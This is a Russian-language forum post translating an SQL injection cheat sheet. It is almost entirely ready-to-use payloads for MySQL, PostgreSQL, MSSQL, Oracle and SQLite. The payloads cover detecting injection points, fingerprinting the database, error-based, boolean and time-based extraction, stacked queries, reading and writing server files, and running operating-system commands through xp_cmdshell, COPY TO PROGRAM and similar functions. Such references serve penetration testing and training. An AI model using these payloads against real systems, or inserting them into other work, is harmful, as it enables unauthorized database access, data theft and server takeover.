• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Очередная, но довольно годная: Шпаргалка по SQL-инъекциям

BLUA

CPU register
Пользователь
Регистрация
24.03.2022
Сообщения
1 189
Решения
1
Реакции
794
Источник: https://tib3rius.com/sqli
Перевод: BLUA специально для xss.pro

Это шпаргалка по SQL-инъекциям с проверенными и надежными полезными нагрузками/техниками, которые охватывают 5 самых популярных вариантов баз данных и их производные (MySQL, PostgreSQL, MSSQL/SQL Server, Oracle, SQLite).

Avoiding OR <true> (OR 1=1)

За исключением CTF, инъекций с выражением OR <true> (например, ' OR 1=1 -- -) следует избегать, если это не абсолютно необходимо.

Я написал о причинах этого в этой статье и подробно рассказал о них в этом видео.

Если у вас есть "допустимое значение", практически нет необходимости использовать OR <true> при выполнении SQL-инъекций. Допустимое значение — это такое значение, которое возвращает "положительный" результат в приложении, например, поисковый запрос, возвращающий 1 или более результатов, ID, который соответствует реальному ресурсу (например, пользователю, продукту и т.д.), или допустимое имя пользователя.

Метод «Break & Repair»

Простой, но в целом надежный метод для обнаружения базовых SQL-инъекций.

Сначала "сломайте" оператор, внедрив одинарную или двойную кавычку в иначе допустимое значение (например, username=admin').

Затем замените внедренную кавычку каждой из следующих "поправок" по очереди, чтобы увидеть, приведет ли одна из них к исходному (не внедренному) ответу:
Код:
' '
'||'
'+'
' AND '1'='1
' -- -

В некоторых случаях ни одна из наших "поправок" не работает, потому что мы внедряем в целочисленное значение. В этих случаях попробуйте следующие поправки. Обратите внимание, что каждая из них начинается с пробела:
Код:
 -- -
 AND 1=1
 AND 1=1 -- -

Предположим, что существует некая поисковая функция, где поисковый запрос shirt возвращает 23 результата. Таким образом, допустимое значение — shirt, а соответствующий корректный ответ — страница, содержащая 23 результата.

Добавление одинарной кавычки к поисковому запросу shirt' нарушает SQL-запрос, и теперь возвращается 0 результатов. Обратите внимание, что это также может быть из-за того, что поисковый запрос shirt' теперь недействителен, но процесс "поправки" должен это определить.

Замените одинарную кавычку на одну из "поправок", например, shirt' '. Этот новый поисковый запрос снова возвращает 23 результата. Поскольку это совпадает с исходным корректным ответом, весьма вероятно, что поисковая функция уязвима для SQL-инъекции.

Это можно подтвердить, попытавшись провести атаку с использованием UNION-инъекции или внедрив два булевых полезных груза:
shirt' AND '1'='1
shirt' AND '1'='0

Первый должен вернуть исходный корректный ответ (23 результата), в то время как второй должен вернуть 0 результатов.

Идентификация вариантов

Как только потенциальная инъекция обнаружена, вариант базы данных (например, MySQL, PostgreSQL) можно определить, вводя эти полезные данные по порядку до тех пор, пока не будет получен положительный результат:

MySQL AND 'foo' 'bar' = 'foobar'
MSSQL AND DATALENGTH('foo') = 3
PostgreSQL AND TO_HEX(1) = '1'
Oracle AND LENGTHB('foo') = '3'
SQLite AND GLOB('foo*', 'foobar') = 1

Комментарии

Этот синтаксис комментариев можно использовать для добавления комментариев к SQL-запросам, что полезно для исключения всего после инъекции, а также для обхода некоторых фильтров. Обратите внимание, что комментарии, начинающиеся с --, требуют пробела после -- , чтобы быть действительными, а /*comment*/ являются встроенными комментариями.

MySQL
Код:
# comment
-- comment
/*comment*/

PostgreSQL
Код:
-- comment
/*comment*/

MSSQL
Код:
-- comment
/*comment*/

Oracle
Код:
-- comment
/*comment*/

SQLite
Код:
-- comment
/*comment*/

Конкатенация строк

Эти функции/операторы можно использовать для объединения двух или более строк вместе.

MySQL
Код:
'foo' 'bar'
CONCAT('foo', 'bar')

PostgreSQL
Код:
'foo'||'bar'
CONCAT('foo', 'bar')

MSSQL
Код:
'foo'+'bar'
CONCAT('foo', 'bar')

Oracle
Код:
'foo'||'bar'
CONCAT('foo', 'bar')

SQLite
Код:
'foo'||'bar'
CONCAT('foo', 'bar')

Подстрока

Эти функции можно использовать для выбора подстроки из строки. Значение START должно быть установлено на 1 (а не на 0), чтобы начать подстроку с первого символа.

MySQL
Код:
SUBSTRING('foobar', START, LENGTH)
SUBSTR('foobar', START, LENGTH)

PostgreSQL
Код:
SUBSTRING('foobar', START, LENGTH)
SUBSTR('foobar', START, LENGTH)

MSSQL
Код:
SUBSTRING('foobar', START, LENGTH)

Oracle
Код:
SUBSTR('foobar', START, LENGTH)

SQLite
Код:
SUBSTRING('foobar', START, LENGTH)
SUBSTR('foobar', START, LENGTH)

Длина

Эти функции подсчитывают длину строк в байтах или символах (так как некоторые символы могут занимать несколько байт благодаря Юникоду).

MySQL
LENGTH('foo') Подсчитывает количество байт
CHAR_LENGTH('foo') Подсчитывает количество символов (включая многобайтовые символы)

PostgreSQL
LENGTH('foo') Подсчитывает количество символов (включая многобайтовые символы)

MSSQL
DATALENGTH('foo') Подсчитывает количество байт
LEN('foo') Подсчитывает количество символов (включая многобайтовые символы)

Oracle
LENGTHB('foo') Подсчитывает количество байт
LENGTH('foo') Подсчитывает количество символов (включая многобайтовые символы)

SQLite
LENGTH('foo') Подсчитывает количество символов (включая многобайтовые символы)

Групповая конкатенация

Эти функции объединяют значения из нескольких строк результатов в одну строку.

MySQL GROUP_CONCAT(expression, 'DELIMITER')
PostgreSQL STRING_AGG(expression, 'DELIMITER')
MSSQL STRING_AGG(expression, 'DELIMITER')
Oracle LISTAGG(expression, 'DELIMITER')
SQLite GROUP_CONCAT(expression, 'DELIMITER')

Преобразование символов в целые числа для сравнений

Полезно для слепых SQL-инъекций, чтобы определить диапазон, в который попадает символ. Обратите внимание, что функции MySQL и Oracle выводят шестнадцатеричное число, в то время как остальные выводят десятичное.

MySQL HEX('a') Вывод: 61
PostgreSQL ASCII('a') Вывод: 97
MSSQL UNICODE('a') Вывод: 97
Oracle RAWTOHEX('a') Вывод: 61
SQLite UNICODE('a') Вывод: 97

Ограничение и смещение запросов

Синтаксис для ограничения результатов запроса определенным количеством строк, а также для смещения начальной строки.
Capture.PNG


Версия базы данных

Функции и операторы, которые предоставляют информацию о версии базы данных.

MySQL
Код:
@@VERSION
VERSION()
@@GLOBAL.VERSION

PostgreSQL
VERSION()

MSSQL
@@VERSION

Oracle
Код:
SELECT BANNER FROM v$version WHERE ROWNUM = 1
SELECT BANNER FROM gv$version WHERE ROWNUM = 1

SQLite
sqlite_version()

Текущая база данных/схема

Запросы, которые возвращают текущую выбранную базу данных/схему.

MySQL
Код:
SELECT DATABASE()

PostgreSQL
Код:
SELECT CURRENT_DATABASE()
SELECT CURRENT_SCHEMA()

MSSQL
Код:
SELECT DB_NAME()
SELECT SCHEMA_NAME()

Oracle
Код:
SELECT name FROM V$database
SELECT * FROM global_name
SELECT sys_context('USERENV', 'CURRENT_SCHEMA') FROM dual;

SQLite
N/A

Список баз данных

Запросы, которые возвращают список всех баз данных/схем.

MySQL
Код:
SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA
SELECT db FROM mysql.db

PostgreSQL
Код:
SELECT datname FROM pg_database
SELECT DISTINCT(schemaname) FROM pg_tables

MSSQL
Код:
SELECT name FROM master.sys.databases
SELECT name FROM master..sysdatabases

Oracle
Код:
SELECT OWNER FROM (SELECT DISTINCT(OWNER) FROM SYS.ALL_TABLES)

SQLite
Код:
N/A

Список таблиц

Запросы, которые возвращают список всех таблиц в заданной базе данных/схеме.

MySQL
Код:
SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='[DBNAME]'
SELECT database_name,table_name FROM mysql.innodb_table_stats WHERE database_name='[DBNAME]'

PostgreSQL
Код:
SELECT tablename FROM pg_tables WHERE schemaname = '[SCHEMA_NAME]'
SELECT table_name FROM information_schema.tables WHERE table_schema='[SCHEMA_NAME]'

MSSQL
Код:
SELECT table_name FROM information_schema.tables WHERE table_catalog='[DBNAME]'
SELECT name FROM [DBNAME]..sysobjects WHERE xtype='U'

Oracle
Код:
SELECT OWNER,TABLE_NAME FROM SYS.ALL_TABLES WHERE OWNER='[DBNAME]'

SQLite
Код:
SELECT tbl_name FROM sqlite_master WHERE type='table'

Список столбцов

Запросы, которые возвращают список всех столбцов в заданной паре таблица и база данных/схема.

MySQL
Код:
SELECT column_name,column_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='[TABLE_NAME]' AND table_schema='[DBNAME]'

PostgreSQL
Код:
SELECT column_name,data_type FROM information_schema.columns WHERE table_schema='[DBNAME]' AND table_name='[TABLE_NAME]'

MSSQL
Код:
SELECT COL_NAME(OBJECT_ID('[DBNAME].[TABLE_NAME]'), [INDEX])

Oracle
Код:
SELECT COLUMN_NAME,DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='[TABLE_NAME]' AND OWNER='[DBNAME]'

SQLite
Код:
SELECT MAX(sql) FROM sqlite_master WHERE tbl_name='[TABLE_NAME]'
SELECT name FROM PRAGMA_TABLE_INFO('[TABLE_NAME]')

Булева ошибка инференциальной эксплуатации

Полезные данные, которые вызывают ошибку в SQL, если условие 1=1 истинно. Замените 1=1 на условие, которое вы хотите проверить; если ошибка возвращается в ответ каким-либо измеримым образом (например, ошибка 500 Internal Server Error), то условие истинно.

MySQL
Код:
AND 1=(SELECT IF(1=1,(SELECT table_name FROM information_schema.tables),1))

PostgreSQL
Код:
AND 1=(SELECT CASE WHEN (1=1) THEN CAST(1/0 AS INTEGER) ELSE 1 END)

MSSQL
Код:
AND 1=(SELECT CASE WHEN (1=1) THEN 1/0 ELSE 1 END)

Oracle
Код:
AND 1=(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '1' END FROM dual)

SQLite
Код:
AND 1=(SELECT CASE WHEN (1=1) THEN load_extension(1) ELSE 1 END)
AND 1=(SELECT CASE WHEN (1=1) THEN abs(-9223372036854775808) ELSE 1 END)

Эксплуатация на основе ошибок

Эти полезные данные для инъекции должны вызвать ошибку базы данных и вернуть информацию о версии варианта базы данных в этой ошибке.

MySQL
Код:
AND GTID_SUBSET(CONCAT('~',(SELECT version()),'~'),1337) -- -
AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT('~',(SELECT version()),'~')) USING utf8))) -- -
AND EXTRACTVALUE(1337,CONCAT('.','~',(SELECT version()),'~')) -- -
AND UPDATEXML(1337,CONCAT('.','~',(SELECT version()),'~'),31337) -- -
OR 1 GROUP BY CONCAT('~',(SELECT version()),'~',FLOOR(RAND(0)*2)) HAVING MIN(0) -- -
AND EXP(~(SELECT * FROM (SELECT CONCAT('~',(SELECT version()),'~','x'))x)) -- -

PostgreSQL
Код:
AND 1337=CAST('~'||(SELECT version())::text||'~' AS NUMERIC) -- -
AND (CAST('~'||(SELECT version())::text||'~' AS NUMERIC)) -- -
AND CAST((SELECT version()) AS INT)=1337 -- -
AND (SELECT version())::int=1 -- -

MSSQL
Код:
AND 1337 IN (SELECT ('~'+(SELECT @@version)+'~')) -- -
AND 1337=CONVERT(INT,(SELECT '~'+(SELECT @@version)+'~')) -- -
AND 1337=CONCAT('~',(SELECT @@version),'~') -- -

Oracle
Код:
AND 1337=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'~'||(REPLACE(REPLACE(REPLACE(REPLACE((SELECT banner FROM v$version),' ','_'),'$','(DOLLAR)'),'@','(AT)'),'#','(HASH)'))||'~'||CHR(62))) FROM DUAL) -- -
AND 1337=UTL_INADDR.GET_HOST_ADDRESS('~'||(SELECT banner FROM v$version)||'~') -- -
AND 1337=CTXSYS.DRITHSX.SN(1337,'~'||(SELECT banner FROM v$version)||'~') -- -
AND 1337=DBMS_UTILITY.SQLID_TO_SQLHASH('~'||(SELECT banner FROM v$version)||'~') -- -

Эксплуатация на основе времени

Простые инъекции на основе времени

Обратите внимание, что эти инъекционные полезные нагрузки по своей природе опасны, так как функция sleep может выполняться несколько раз. Они заставят базу данных "засыпать" на 10 секунд за каждую строку, оцениваемую запросом.

Их следует использовать только в том случае, если вы уверены, что запрос, в который вы внедряете, будет оценивать только одну строку.

MySQL
Код:
AND SLEEP(10)=0

PostgreSQL
Код:
AND 'RANDSTR'||PG_SLEEP(10)='RANDSTR'

MSSQL
Код:
AND 1337=(CASE WHEN (1=1) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE 1337 END)

Oracle
Код:
AND 1337=(CASE WHEN (1=1) THEN DBMS_PIPE.RECEIVE_MESSAGE('RANDSTR',10) ELSE 1337 END)

SQLite
Код:
AND 1337=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

Сложные инъекции на основе времени

Эти полезные нагрузки для инъекций "безопасны" и должны заставлять спать (на 10 секунд) только один раз за выражение. Замените 1=1 на условие, которое вы хотите проверить; если происходит задержка на 10 секунд, значит, условие истинно.

MySQL
Код:
AND (SELECT 1337 FROM (SELECT(SLEEP(10-(IF((1=1),0,10))))) RANDSTR)

PostgreSQL
Код:
AND 1337=(CASE WHEN (1=1) THEN (SELECT 1337 FROM PG_SLEEP(10)) ELSE 1337 END)

MSSQL
Код:
AND 1337=(CASE WHEN (1=1) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE 1337 END)

Oracle
Код:
AND 1337=(CASE WHEN (1=1) THEN DBMS_PIPE.RECEIVE_MESSAGE('RANDSTR',10) ELSE 1337 END)

SQLite
Код:
AND 1337=(CASE WHEN (1=1) THEN (SELECT 1337 FROM (SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))))) ELSE 1337 END)

Инъекция на основе стека

Как правило, если инъекция на основе стека поддерживается, её можно обнаружить только вызвав задержку по времени. Эти полезные нагрузки для инъекций должны вызвать задержку на 10 секунд:

MySQL
Код:
; SLEEP(10) -- -

PostgreSQL
Код:
; PG_SLEEP(10) -- -

MSSQL
Код:
; WAITFOR DELAY '0:0:10' -- -

Oracle
Код:
; DBMS_PIPE.RECEIVE_MESSAGE('RANDSTR',10) -- -

SQLite
Код:
; RANDOMBLOB(1000000000/2) -- -

Эти полезные нагрузки для инъекций должны вызвать задержку на 10 секунд, если условие 1=1 истинно. Замените 1=1 на условие, которое вы хотите проверить; если возникает задержка на 10 секунд, то условие истинно.

MySQL
Код:
; SELECT IF((1=1),SLEEP(10),1337)

PostgreSQL
Код:
; SELECT (CASE WHEN (1=1) THEN (SELECT 1337 FROM PG_SLEEP(10)) ELSE 1337 END)

MSSQL
Код:
; IF(1=1) WAITFOR DELAY '0:0:10'

Oracle
Код:
; SELECT CASE WHEN (1=1) THEN DBMS_PIPE.RECEIVE_MESSAGE('RANDSTR',10) ELSE 1337 END FROM DUAL

SQLite
Код:
; SELECT (CASE WHEN (1=1) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))) ELSE 1337 END)

Чтение локальных файлов

Эти функции читают содержимое локальных файлов. Метод Oracle может быть использован только в случае, если возможны вложенные инъекции. Функция readfile в SQLite не является основной.

MySQL
Код:
LOAD_FILE('/path/to/file')

PostgreSQL
Код:
PG_READ_FILE('/path/to/file')

MSSQL
Код:
OPENROWSET(BULK 'C:\path\to\file', SINGLE_CLOB)

Oracle
Код:
utl_file.get_line(utl_file.fopen('/path/to/','file','R'), <buffer>)

SQLite
Код:
readfile('/path/to/file')

Запись локальных файлов

Эти инструкции записывают содержимое в локальный файл. Методы PostgreSQL, MSSQL и Oracle могут быть использованы только в случае, если возможны вложенные инъекции. Для MSSQL требуется включение "Ole Automation Procedures".

MySQL
Код:
SELECT 'contents' INTO OUTFILE '/path/to/file'

PostgreSQL
Код:
COPY (SELECT 'contents') TO '/path/to/file'

MSSQL
Код:
execute spWriteStringToFile 'contents', 'C:\path\to\', 'file'

Oracle
Код:
utl_file.put_line(utl_file.fopen('/path/to/','file','R'), <buffer>)

SQLite
Код:
SELECT writefile('/path/to/file', column_name) FROM table_name

Выполнение команд операционной системы

Эти инструкции выполняют локальные команды операционной системы. Методы PostgreSQL, MSSQL и второй метод Oracle могут быть использованы только в случае, если возможны вложенные инъекции. Для первого метода Oracle требуется пакет OS_Command.

MySQL
Код:
Not Possible

PostgreSQL
Код:
COPY (SELECT '') to program '<command>'

MSSQL
Код:
EXEC xp_cmdshell '<command>'

Oracle
Код:
select os_command.exec_clob('<command>') cmd from dual`
`DBMS_SCHEDULER.CREATE_JOB (job_name => 'exec', job_type => 'EXECUTABLE', job_action => '<command>', enabled => TRUE)

SQLite
Код:
Not Possible

Ссылки

Подавляющее большинство информации, представленной здесь, было получено из моих собственных исследований и экспериментов с различными инъекциями и вариантами баз данных. Однако несколько полезных нагрузок были взяты из популярного инструмента для SQL-инъекций SQLmap или основаны на них.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх